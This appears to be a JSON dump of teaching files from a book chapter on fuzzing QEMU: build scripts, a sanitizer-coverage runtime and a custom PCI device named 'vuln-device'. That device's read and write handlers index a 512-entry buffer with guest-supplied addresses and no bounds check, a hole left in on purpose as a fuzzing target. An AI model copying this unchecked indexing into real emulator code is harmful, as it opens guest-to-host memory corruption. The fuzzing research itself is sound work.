    "content": "common-obj-$(CONFIG_APPLESMC) += applesmc.o\ncommon-obj-$(CONFIG_MAX111X) += max111x.o\ncommon-obj-$(CONFIG_TMP105) += tmp105.o\ncommon-obj-$(CONFIG_TMP421) += tmp421.o\ncommon-obj-$(CONFIG_ISA_DEBUG) += debugexit.o\ncommon-obj-$(CONFIG_SGA) += sga.o\ncommon-obj-$(CONFIG_ISA_TESTDEV) += pc-testdev.o\ncommon-obj-$(CONFIG_PCI_TESTDEV) += pci-testdev.o\ncommon-obj-$(CONFIG_DIY_PCI) += diy_pci.o\ncommon-obj-$(CONFIG_EDU) += edu.o\ncommon-obj-$(CONFIG_PCA9552) += pca9552.o\n\ncommon-obj-$(CONFIG_UNIMP) += unimp.o\ncommon-obj-$(CONFIG_FW_CFG_DMA) += vmcoreinfo.o\n\n# ARM devices\ncommon-obj-$(CONFIG_PL310) += arm_l2x0.o\ncommon-obj-$(CONFIG_INTEGRATOR_DEBUG) += arm_integrator_debug.o\ncommon-obj-$(CONFIG_A9SCU) += a9scu.o\ncommon-obj-$(CONFIG_ARM11SCU) += arm11scu.o\n\n# Mac devices\ncommon-obj-$(CONFIG_MOS6522) += mos6522.o\n\n# PKUnity SoC devices\ncommon-obj-$(CONFIG_PUV3) += puv3_pm.o\n\ncommon-obj-$(CONFIG_MACIO) += macio/\n\ncommon-obj-$(CONFIG_IVSHMEM_DEVICE) += ivshmem.o\n\ncommon-obj-$(CONFIG_ALLWINNER_H3) += allwinner-h3-ccu.o\nobj-$(CONFIG_ALLWINNER_H3) += allwinner-cpucfg.o\ncommon-obj-$(CONFIG_ALLWINNER_H3) += allwinner-h3-dramc.o\ncommon-obj-$(CONFIG_ALLWINNER_H3) += allwinner-h3-sysctrl.o\ncommon-obj-$(CONFIG_ALLWINNER_H3) += allwinner-sid.o\ncommon-obj-$(CONFIG_REALVIEW) += arm_sysctl.o\ncommon-obj-$(CONFIG_NSERIES) += cbus.o\ncommon-obj-$(CONFIG_ECCMEMCTL) += eccmemctl.o\ncommon-obj-$(CONFIG_EXYNOS4) += exynos4210_pmu.o exynos4210_clk.o exynos4210_rng.o\ncommon-obj-$(CONFIG_IMX) += imx_ccm.o\ncommon-obj-$(CONFIG_IMX) += imx31_ccm.o\ncommon-obj-$(CONFIG_IMX) += imx25_ccm.o\ncommon-obj-$(CONFIG_IMX) += imx6_ccm.o\ncommon-obj-$(CONFIG_IMX) += imx6ul_ccm.o\nobj-$(CONFIG_IMX) += imx6_src.o\ncommon-obj-$(CONFIG_IMX) += imx7_ccm.o\ncommon-obj-$(CONFIG_IMX) += imx2_wdt.o\ncommon-obj-$(CONFIG_IMX) += imx7_snvs.o\ncommon-obj-$(CONFIG_IMX) += imx7_gpr.o\ncommon-obj-$(CONFIG_IMX) += imx_rngc.o\ncommon-obj-$(CONFIG_MILKYMIST) += milkymist-hpdmc.o\ncommon-obj-$(CONFIG_MILKYMIST) += milkymist-pfpu.o\ncommon-obj-$(CONFIG_MAINSTONE) += mst_fpga.o\ncommon-obj-$(CONFIG_OMAP) += omap_clk.o\ncommon-obj-$(CONFIG_OMAP) += omap_gpmc.o\ncommon-obj-$(CONFIG_OMAP) += omap_l4.o\ncommon-obj-$(CONFIG_OMAP) += omap_sdrc.o\ncommon-obj-$(CONFIG_OMAP) += omap_tap.o\ncommon-obj-$(CONFIG_RASPI) += bcm2835_mbox.o\ncommon-obj-$(CONFIG_RASPI) += bcm2835_property.o\ncommon-obj-$(CONFIG_RASPI) += bcm2835_rng.o\ncommon-obj-$(CONFIG_RASPI) += bcm2835_thermal.o\ncommon-obj-$(CONFIG_SLAVIO) += slavio_misc.o\ncommon-obj-$(CONFIG_ZYNQ) += zynq_slcr.o\ncommon-obj-$(CONFIG_ZYNQ) += zynq-xadc.o\ncommon-obj-$(CONFIG_STM32F2XX_SYSCFG) += stm32f2xx_syscfg.o\ncommon-obj-$(CONFIG_STM32F4XX_SYSCFG) += stm32f4xx_syscfg.o\ncommon-obj-$(CONFIG_STM32F4XX_EXTI) += stm32f4xx_exti.o\nobj-$(CONFIG_MIPS_CPS) += mips_cmgcr.o\nobj-$(CONFIG_MIPS_CPS) += mips_cpc.o\nobj-$(CONFIG_MIPS_ITU) += mips_itu.o\ncommon-obj-$(CONFIG_MPS2_FPGAIO) += mps2-fpgaio.o\ncommon-obj-$(CONFIG_MPS2_SCC) += mps2-scc.o\n\ncommon-obj-$(CONFIG_TZ_MPC) += tz-mpc.o\ncommon-obj-$(CONFIG_TZ_MSC) += tz-msc.o\ncommon-obj-$(CONFIG_TZ_PPC) += tz-ppc.o\ncommon-obj-$(CONFIG_IOTKIT_SECCTL) += iotkit-secctl.o\nobj-$(CONFIG_IOTKIT_SYSCTL) += iotkit-sysctl.o\ncommon-obj-$(CONFIG_IOTKIT_SYSINFO) += iotkit-sysinfo.o\ncommon-obj-$(CONFIG_ARMSSE_CPUID) += armsse-cpuid.o\ncommon-obj-$(CONFIG_ARMSSE_MHU) += armsse-mhu.o\n\ncommon-obj-$(CONFIG_PVPANIC) += pvpanic.o\ncommon-obj-$(CONFIG_AUX) += auxbus.o\ncommon-obj-$(CONFIG_ASPEED_SOC) += aspeed_xdma.o\ncommon-obj-$(CONFIG_ASPEED_SOC) += aspeed_scu.o aspeed_sdmc.o\ncommon-obj-$(CONFIG_MSF2) += msf2-sysreg.o\ncommon-obj-$(CONFIG_NRF51_SOC) += nrf51_rng.o\nobj-$(CONFIG_MAC_VIA) += mac_via.o\n\ncommon-obj-$(CONFIG_GRLIB) += grlib_ahb_apb_pnp.o\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci.c",
    "content": "\n\n#include \"qemu/osdep.h\"\n#include \"hw/pci/pci.h\"\n#include \"hw/qdev-properties.h\"\n#include \"qemu/event_notifier.h\"\n#include \"qemu/module.h\"\n#include \"sysemu/kvm.h\"\n\n#define DIY_PCI_DEVICE_VENDOR_ID 0x1234\n#define DIY_PCI_DEVICE_DEVICE_ID 0x6666\n#define DIY_PCI_DEVICE_BUFFER_MAX 512\n\n#define IOTEST_IOSIZE  1024 * 4\n#define IOTEST_MEMSIZE 2048\n\ntypedef struct PCITestDevState {\n    /*< private >*/\n    PCIDevice parent_obj;\n    /*< public >*/\n\n    MemoryRegion mmio;\n    MemoryRegion portio;\n    uint64_t buffer[DIY_PCI_DEVICE_BUFFER_MAX];\n    MemoryRegion membar;\n} PCITestDevState;\n\n#define TYPE_DIY_DEV \"vuln-device\"\n\n#define DIY_PCI_DEV(obj) \\\n    OBJECT_CHECK(PCITestDevState, (obj), TYPE_DIY_DEV)\n\n\n\nstatic Property diy_pci_device_properties[] = {\n    DEFINE_PROP_END_OF_LIST(),\n};\n\nstatic void\npci_testdev_write(void *opaque, hwaddr addr, uint64_t val,\n                  unsigned size, int type)\n{\n    PCITestDevState* dev_object = (PCITestDevState*)opaque;\n\n    if (size == 1) {\n        dev_object->buffer[addr] = (uint8_t)val;\n    } else if (size == 2) {\n        dev_object->buffer[addr] = (uint16_t)val;\n    } else if (size == 4) {\n        dev_object->buffer[addr] = (uint32_t)val;\n    } else {\n        dev_object->buffer[addr] = val;\n    }\n}\n\nstatic uint64_t\npci_testdev_read(void *opaque, hwaddr addr, unsigned size)\n{\n    PCITestDevState* dev_object = (PCITestDevState*)opaque;\n    \n    return dev_object->buffer[addr];\n}\n\nstatic void\npci_testdev_mmio_write(void *opaque, hwaddr addr, uint64_t val,\n                       unsigned size)\n{\n    pci_testdev_write(opaque, addr, val, size, 0);\n}\n\nstatic void\npci_testdev_pio_write(void *opaque, hwaddr addr, uint64_t val,\n                       unsigned size)\n{\n    pci_testdev_write(opaque, addr, val, size, 1);\n}\n\nstatic const MemoryRegionOps pci_testdev_mmio_ops = {\n    .read = pci_testdev_read,\n    .write = pci_testdev_mmio_write,\n    .endianness = DEVICE_LITTLE_ENDIAN,\n};\n\nstatic const MemoryRegionOps pci_testdev_pio_ops = {\n    .read = pci_testdev_read,\n    .write = pci_testdev_pio_write,\n    .endianness = DEVICE_LITTLE_ENDIAN,\n};\n\nstatic void pci_testdev_realize(PCIDevice *pci_dev, Error **errp)\n{\n    PCITestDevState *d = DIY_PCI_DEV(pci_dev);\n    uint8_t *pci_conf;\n    char *name;\n    int r, i;\n    bool fastmmio = kvm_ioeventfd_any_length_enabled();\n\n    pci_conf = pci_dev->config;\n\n    pci_conf[PCI_INTERRUPT_PIN] = 0; /* no interrupt pin */\n\n    memory_region_init_io(&d->mmio, OBJECT(d), &pci_testdev_mmio_ops, d,\n                          \"pci-testdev-mmio\", IOTEST_MEMSIZE * 2);\n    memory_region_init_io(&d->portio, OBJECT(d), &pci_testdev_pio_ops, d,\n                          \"pci-testdev-portio\", IOTEST_IOSIZE * 2);\n    pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio);\n    pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->portio);\n}\n\nstatic void\npci_testdev_uninit(PCIDevice *dev)\n{\n}\n\n\nstatic void\npci_testdev_reset(PCITestDevState *d)\n{\n}\n\nstatic void diy_pci_device_reset(DeviceState *dev)\n{\n    PCITestDevState *d = DIY_PCI_DEV(dev);\n    pci_testdev_reset(d);\n}\n\nstatic void diy_pci_class_init(ObjectClass *klass, void *data)\n{\n    DeviceClass *dc = DEVICE_CLASS(klass);\n    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);\n\n    k->realize = pci_testdev_realize;\n    k->exit = pci_testdev_uninit;\n    k->vendor_id = DIY_PCI_DEVICE_VENDOR_ID;\n    k->device_id = DIY_PCI_DEVICE_DEVICE_ID;\n    k->revision = 0x00;\n    k->class_id = PCI_CLASS_OTHERS;\n    dc->desc = \"DIY PCI Device\";\n    set_bit(DEVICE_CATEGORY_MISC, dc->categories);\n    dc->reset = diy_pci_device_reset;\n    device_class_set_props(dc, diy_pci_device_properties);\n}\n\nstatic const TypeInfo diy_pci_info = {\n    .name          = TYPE_DIY_DEV,\n    .parent        = \"pci-device\",\n    .instance_size = sizeof(PCITestDevState),\n    .class_init    = diy_pci_class_init,\n    .interfaces = (InterfaceInfo[]) {\n        { INTERFACE_CONVENTIONAL_PCI_DEVICE },\n        { },\n    },\n};\n\nstatic void diy_pci_register_types(void)\n{\n    type_register_static(&diy_pci_info);\n}\n\ntype_init(diy_pci_register_types)\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci_coverage.c",
    "content": "\n\n#include <stdio.h>\n\n#include \"qemu/osdep.h\"\n#include \"hw/pci/pci.h\"\n#include \"hw/qdev-properties.h\"\n#include \"qemu/event_notifier.h\"\n#include \"qemu/module.h\"\n#include \"sysemu/kvm.h\"\n\n#define DIY_PCI_DEVICE_VENDOR_ID 0x1234\n#define DIY_PCI_DEVICE_DEVICE_ID 0x6666\n#define DIY_PCI_DEVICE_BUFFER_MAX 512\n\n#define IOTEST_IOSIZE  1024 * 4\n#define IOTEST_MEMSIZE 2048\n\ntypedef struct PCITestDevState {\n    /*< private >*/\n    PCIDevice parent_obj;\n    /*< public >*/\n\n    MemoryRegion mmio;\n    MemoryRegion portio;\n    uint64_t buffer[DIY_PCI_DEVICE_BUFFER_MAX];\n    MemoryRegion membar;\n} PCITestDevState;\n\n#define TYPE_DIY_DEV \"vuln-device\"\n\n#define DIY_PCI_DEV(obj) \\\n    OBJECT_CHECK(PCITestDevState, (obj), TYPE_DIY_DEV)\n\n\n\nstatic Property diy_pci_device_properties[] = {\n    DEFINE_PROP_END_OF_LIST(),\n};\n\n\nint foo1(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else {\n        foo2(b);\n    }\n\n    return 0;\n}\n\nint foo2(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else {\n        foo3(b);\n    }\n\n    return 0;\n}\n\nint foo3(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==1) {\n        ;\n    } else if (b==3) {\n        ;\n    } else if (b==4) {\n        ;\n    } else {\n        foo4(b);\n    }\n\n    return 0;\n}\n\nint foo4(int b) {\n    printf(\"foo1 !!\\n\");\n\n    if (b==2) {\n        foo5(1);\n    } else if (b==4) {\n        ;\n    } else if (b==6) {\n        ;\n    } else if (b==5) {\n        ;\n    } else if (b==1) {\n        ;\n    }\n\n    return 0;\n}\n\nint foo5(int b) {\n    return 1;\n}\n\n\nstatic void\npci_testdev_write(void *opaque, hwaddr addr, uint64_t val,\n                  unsigned size, int type)\n{\n    PCITestDevState* dev_object = (PCITestDevState*)opaque;\n\n    __sanitizer_enter();\n    printf(\"!!!!!\\n\");\n\n    /*\n    if (size == 1) {\n        dev_object->buffer[addr] = (uint8_t)val;\n    } else if (size == 2) {\n        dev_object->buffer[addr] = (uint16_t)val;\n    } else if (size == 4) {\n        dev_object->buffer[addr] = (uint32_t)val;\n    } else {\n        dev_object->buffer[addr] = val;\n    }*/\n\n    foo1(val);\n\n    __sanitizer_exit();\n}\n\nstatic uint64_t\npci_testdev_read(void *opaque, hwaddr addr, unsigned size)\n{\n    PCITestDevState* dev_object = (PCITestDevState*)opaque;\n    \n    return dev_object->buffer[addr];\n}\n\nstatic void\npci_testdev_mmio_write(void *opaque, hwaddr addr, uint64_t val,\n                       unsigned size)\n{\n    pci_testdev_write(opaque, addr, val, size, 0);\n}\n\nstatic void\npci_testdev_pio_write(void *opaque, hwaddr addr, uint64_t val,\n                       unsigned size)\n{\n    pci_testdev_write(opaque, addr, val, size, 1);\n}\n\nstatic const MemoryRegionOps pci_testdev_mmio_ops = {\n    .read = pci_testdev_read,\n    .write = pci_testdev_mmio_write,\n    .endianness = DEVICE_LITTLE_ENDIAN,\n};\n\nstatic const MemoryRegionOps pci_testdev_pio_ops = {\n    .read = pci_testdev_read,\n    .write = pci_testdev_pio_write,\n    .endianness = DEVICE_LITTLE_ENDIAN,\n};\n\nstatic void pci_testdev_realize(PCIDevice *pci_dev, Error **errp)\n{\n    PCITestDevState *d = DIY_PCI_DEV(pci_dev);\n    uint8_t *pci_conf;\n    char *name;\n    int r, i;\n    bool fastmmio = kvm_ioeventfd_any_length_enabled();\n\n    pci_conf = pci_dev->config;\n\n    pci_conf[PCI_INTERRUPT_PIN] = 0; /* no interrupt pin */\n\n    memory_region_init_io(&d->mmio, OBJECT(d), &pci_testdev_mmio_ops, d,\n                          \"pci-testdev-mmio\", IOTEST_MEMSIZE * 2);\n    memory_region_init_io(&d->portio, OBJECT(d), &pci_testdev_pio_ops, d,\n                          \"pci-testdev-portio\", IOTEST_IOSIZE * 2);\n    pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio);\n    pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->portio);\n}\n\nstatic void\npci_testdev_uninit(PCIDevice *dev)\n{\n}\n\n\nstatic void\npci_testdev_reset(PCITestDevState *d)\n{\n}\n\nstatic void diy_pci_device_reset(DeviceState *dev)\n{\n    PCITestDevState *d = DIY_PCI_DEV(dev);\n    pci_testdev_reset(d);\n}\n\nstatic void diy_pci_class_init(ObjectClass *klass, void *data)\n{\n    DeviceClass *dc = DEVICE_CLASS(klass);\n    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);\n\n    k->realize = pci_testdev_realize;\n    k->exit = pci_testdev_uninit;\n    k->vendor_id = DIY_PCI_DEVICE_VENDOR_ID;\n    k->device_id = DIY_PCI_DEVICE_DEVICE_ID;\n    k->revision = 0x00;\n    k->class_id = PCI_CLASS_OTHERS;\n    dc->desc = \"DIY PCI Device\";\n    set_bit(DEVICE_CATEGORY_MISC, dc->categories);\n    dc->reset = diy_pci_device_reset;\n    device_class_set_props(dc, diy_pci_device_properties);\n}\n\nstatic const TypeInfo diy_pci_info = {\n    .name          = TYPE_DIY_DEV,\n    .parent        = \"pci-device\",\n    .instance_size = sizeof(PCITestDevState),\n    .class_init    = diy_pci_class_init,\n    .interfaces = (InterfaceInfo[]) {\n        { INTERFACE_CONVENTIONAL_PCI_DEVICE },\n        { },\n    },\n};\n\nstatic void diy_pci_register_types(void)\n{\n    type_register_static(&diy_pci_info);\n}\n\ntype_init(diy_pci_register_types)\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/qemu_compile.sh",
    "content": "cd ~/Desktop/vm_qemu/qemu_fuzzer/instrument\ncp ./sanitize_converage.o ../../qemu-5.0.0/\ncd ~/Desktop/vm_qemu/qemu-5.0.0/\n./configure --cc=\"/usr/bin/clang-sp\" --extra-cflags=\"-fsanitize-coverage=trace-pc-guard -g3 -fsanitize=address -fPIE\"\nmake -j14 CFLAGS=\"/home/ubuntu/Desktop/vm_qemu/qemu_fuzzer/instrument/sanitize_converage.o -g3 -Wall -Wno-unused-command-line-argument\"\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_black_list.txt",
    "content": ""
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.c",
    "content": "\n#include <errno.h>\n#include <fcntl.h>\n#include <memory.h>\n#include <signal.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#include <linux/shm.h>\n#include <sys/stat.h>\n\n#include <sanitizer/coverage_interface.h>\n\n#include \"sanitize_converage.h\"\n#include \"signal_number.h\"\n\n/// -fsanitize-coverage-whitelist=\n\n\n\nstatic int __sancov_trace_pc_switch = 0;\nstatic const size_t __sancov_trace_pc_map_max = 1 << 16;\nstatic const size_t __sancov_trace_pc_map_size = __sancov_trace_pc_map_max * sizeof(__sancov_trace_pc_map);\nstatic __sancov_trace_pc_map __sancov_trace_pc_table[__sancov_trace_pc_map_max] = {0};\nstatic unsigned long __sancov_trace_pc_index = 0;\nstatic unsigned long __sancov_current_all_guard_count = 0;\nstatic pid_t __sancov_father_pid = 0;\nstatic unsigned long  __sancov_fuzz_loop = 0;\n\n\nATTRIBUTE_NO_SANITIZE_ALL\nvoid __sanitizer_cov_trace_pc_guard_init(uint32_t *start,uint32_t *stop) {\n    uint_t id = 0;\n\n    if (start == stop || *start)\n        return;\n\n    __sancov_father_pid = getppid();\n\n    if (__sancov_father_pid > 1) {\n        union sigval send_sigval;\n        send_sigval.sival_int = getpid();\n\n        sigqueue(__sancov_father_pid,SIGNAL_CREATE_FUZZER_TARGET,send_sigval);\n    } else {\n        //memset(__sancov_trace_pc_table,0,__sancov_trace_pc_map_size);\n    }\n\n    __sancov_current_all_guard_count = (stop - start);\n\n    printf(\"Sanitizer All Coverage edges: 0x%X \\n\",__sancov_current_all_guard_count);\n\n    for (uint32_t* edge_id = start; edge_id < stop; ++edge_id)\n        *edge_id = ++id;\n}\n\nATTRIBUTE_NO_SANITIZE_ALL\nvoid __sanitizer_cov_trace_pc_guard(uint32_t *guard,uint32_t count,uint32_t function_id) {\n    uint_t edge_address = (uint_t)guard;\n    uint_t edge_id = *guard;\n\n    if (!edge_id || !__sancov_trace_pc_switch)\n        return;\n\n    void *PC = __builtin_return_address(0);\n    char symbolize_data[1024];\n    char current_function_name[512];\n\n    #ifdef IS_DEBUF_MODE\n    __sanitizer_symbolize_pc(PC, \"%p %F\", symbolize_data, sizeof(symbolize_data));\n    __sanitizer_symbolize_pc(PC, \"%F\", current_function_name, sizeof(current_function_name));\n\n    printf(\"%d Sanitizer Trace PC Guard(count=%d) : %x PC %s\\n\",\n            __sancov_trace_pc_index,count,edge_id, symbolize_data);\n    #endif\n\n    __sancov_trace_pc_table[__sancov_trace_pc_index].current_edge_id = edge_id;\n    __sancov_trace_pc_table[__sancov_trace_pc_index].current_function_edge_count = count;\n    __sancov_trace_pc_table[__sancov_trace_pc_index].current_function_entry = function_id;\n\n    __sancov_trace_pc_index++;\n}\n\nATTRIBUTE_NO_SANITIZE_ALL\nvoid __sanitizer_enter(void) {\n    memset(&__sancov_trace_pc_table,0,sizeof(__sancov_trace_pc_table));\n\n    __sancov_trace_pc_index = 0;\n    __sancov_trace_pc_switch = 1;\n}\n\nATTRIBUTE_NO_SANITIZE_ALL\nvoid __sanitizer_exit(void) {\n    uint_t trace_pc_count = __sancov_trace_pc_index;\n    uint_t pipe_write_size = trace_pc_count * sizeof(__sancov_trace_pc_map);\n\n    #ifdef IS_DEBUF_MODE\n    printf(\"Sanitizer All Execute Edges : %d \\n\",__sancov_trace_pc_index);\n    #endif\n\n    char save_dir[MAX_PATH_SIZE] = {0};\n\n    sprintf(save_dir,\"./temp_%d_%d\",__sancov_father_pid,getpid());\n\n    if (!opendir(save_dir))\n        mkdir(save_dir,0777);\n\n    char save_coverage_path[MAX_PATH_SIZE] = {0};\n\n    sprintf(save_coverage_path,\"%s/%d.dat\",save_dir,__sancov_fuzz_loop);\n\n    int save_data_handle = open(save_coverage_path,O_RDWR | O_CREAT,S_IRUSR | S_IWUSR | S_IROTH);\n\n    write(save_data_handle,&trace_pc_count,sizeof(trace_pc_count));\n    write(save_data_handle,&__sancov_trace_pc_table,pipe_write_size);\n    close(save_data_handle);\n\n    if (__sancov_father_pid > 1) {\n        union sigval send_sigval;\n        send_sigval.sival_int = __sancov_fuzz_loop;\n\n        sigqueue(__sancov_father_pid,SIGNAL_FUZZ_ONCE,send_sigval);\n\n        __sancov_fuzz_loop++;\n    } else {\n    }\n\n    //memset(__sancov_trace_pc_table,0,pipe_write_size);\n\n    __sancov_trace_pc_index = 0;\n    __sancov_trace_pc_switch = 0;\n}\n\n\n\n\n\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.h",
    "content": "\n#ifndef __SANITIZE_CONVERAGE_H__\n#define __SANITIZE_CONVERAGE_H__\n\n#ifdef __clang__  // avoid gcc warning.\n#  if __has_attribute(no_sanitize)\n#    define ATTRIBUTE_NO_SANITIZE_MEMORY __attribute__((no_sanitize(\"memory\")))\n#  else\n#    define ATTRIBUTE_NO_SANITIZE_MEMORY\n#  endif\n#  define ALWAYS_INLINE __attribute__((always_inline))\n#else\n#  define ATTRIBUTE_NO_SANITIZE_MEMORY\n#  define ALWAYS_INLINE\n#endif // __clang__\n\n#define ATTRIBUTE_NO_SANITIZE_ADDRESS __attribute__((no_sanitize_address))\n#define ATTRIBUTE_NO_SANITIZE_UNDEFINED __attribute__((no_sanitize(\"undefined\")))\n\n#if defined(__has_feature)\n#  if __has_feature(address_sanitizer)\n#    define ATTRIBUTE_NO_SANITIZE_ALL ATTRIBUTE_NO_SANITIZE_ADDRESS\n#  elif __has_feature(memory_sanitizer)\n#    define ATTRIBUTE_NO_SANITIZE_ALL ATTRIBUTE_NO_SANITIZE_MEMORY\n#  else\n#    define ATTRIBUTE_NO_SANITIZE_ALL\n#  endif\n#else\n#  define ATTRIBUTE_NO_SANITIZE_ALL\n#endif\n\n\n//#define IS_DEBUF_MODE\n\n#define MAX_PATH_SIZE 512\n\n#ifdef __x86_64__\ntypedef uint64_t uint_t;\ntypedef float    ufloat;\n#else\ntypedef uint32_t uint_t;\ntypedef float    ufloat;\n#endif\n\ntypedef struct {\n    uint_t current_edge_id;\n    uint_t current_function_edge_count;\n    uint_t current_function_entry;\n} __sancov_trace_pc_map;\n\n\n#endif\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/signal_number.h",
    "content": "\n#ifndef __SIGNAL_NUMBER_H__\n#define __SIGNAL_NUMBER_H__\n\n#define SIGRTMIN                    34\n\n//#define SIGNAL_INVALID              SIGRTMIN + 10\n#define SIGNAL_CREATE_FUZZER_TARGET (SIGRTMIN + 10)\n#define SIGNAL_FUZZ_ONCE            (SIGRTMIN + 11)\n\n#define TRAP_SIGNAL (SIGNAL_CREATE_FUZZER_TARGET | SIGNAL_FUZZ_ONCE)\n\n#endif\n\n\n\n"
  }
]